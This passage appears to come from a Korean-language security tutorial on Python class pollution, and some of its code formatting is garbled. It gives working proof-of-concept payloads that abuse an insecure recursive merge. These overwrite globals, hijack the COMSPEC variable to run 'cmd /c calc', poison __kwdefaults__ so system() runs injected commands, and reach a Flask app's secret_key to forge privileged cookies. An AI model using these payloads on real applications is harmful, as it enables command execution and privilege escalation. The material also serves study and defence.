class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, ‘custom_command’) else ‘echo Hello there’ return f’[!] Executing: “{command}”, output: “{popen(command).read().strip()}”’

def merge(src, dst):

Recursive merge function

for k, v in src.items(): if hasattr(dst, ‘getitem’): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)

USER_INPUT = { “class”:{ “base”:{ “base”:{ “custom_command”: “whoami” } } } }

recruiter_emp = Recruiter() system_admin_emp = SystemAdmin()

print(system_admin_emp.execute_command()) #> [!] Executing: “echo Hello there”, output: “Hello there”

Create default value for Employee.custom_command

merge(USER_INPUT, recruiter_emp)

print(system_admin_emp.execute_command()) #> [!] Executing: “whoami”, output: “abdulrah33m”

</details>

<details>

<summary><code>globals</code>를 통해 다른 클래스와 전역 변수를 오염시키기</summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class User:
def __init__(self):
pass

class NotAccessibleClass: pass

not_accessible_variable = 'Hello'

merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())

print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>

class Employee: def init(self): pass

def merge(src, dst):

Recursive merge function

for k, v in src.items(): if hasattr(dst, ‘getitem’): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)

Overwrite env var “COMSPEC” to execute a calc

USER_INPUT = json.loads(‘{“init”:{“globals”:{“subprocess”:{“os”:{“environ”:{“COMSPEC”:“cmd /c calc”}}}}}}’) # attacker-controlled value

merge(USER_INPUT, Employee())

subprocess.Popen(‘whoami’, shell=True) # Calc.exe will pop up

</details>

<details>

<summary>Overwritting <strong><code>__kwdefaults__</code></strong></summary>

**`__kwdefaults__`**는 모든 함수의 특별한 속성으로, Python [documentation](https://docs.python.org/3/library/inspect.html)에 따르면, “**키워드 전용** 매개변수에 대한 기본값의 매핑”입니다. 이 속성을 오염시키면 함수의 키워드 전용 매개변수의 기본값을 제어할 수 있으며, 이는 \* 또는 \*args 뒤에 오는 함수의 매개변수입니다.
```python
from os import system
import json

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class Employee:
def __init__(self):
pass

def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)

print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user

emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())

print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted

따라서, 웹의 주요 파이썬 파일에 정의된 객체에 대해 클래스 오염을 수행할 수 있지만 주요 파일과는 다른 파일에 정의된 클래스인 경우입니다. 이전 페이로드에서 __globals__에 접근하려면 객체의 클래스나 클래스의 메서드에 접근해야 하므로, 주요 파일이 아닌 해당 파일의 globals에 접근할 수 있습니다.
따라서, 주요 페이지에 정의된 비밀 키를 가진 Flask 앱의 전역 객체에 접근할 수 없습니다:

app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'

이 시나리오에서는 파일을 탐색하여 전역 객체 app.secret_key에 접근하여 Flask 비밀 키를 변경하고 이 키를 알고 권한 상승을 할 수 있는 장치가 필요합니다.

이와 같은 페이로드는 이 작성물에서:

__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key

이 페이로드를 사용하여 app.secret_key (귀하의 앱에서 이름이 다를 수 있음)를 변경하여 새로운 더 많은 권한의 플라스크 쿠키에 서명할 수 있습니다.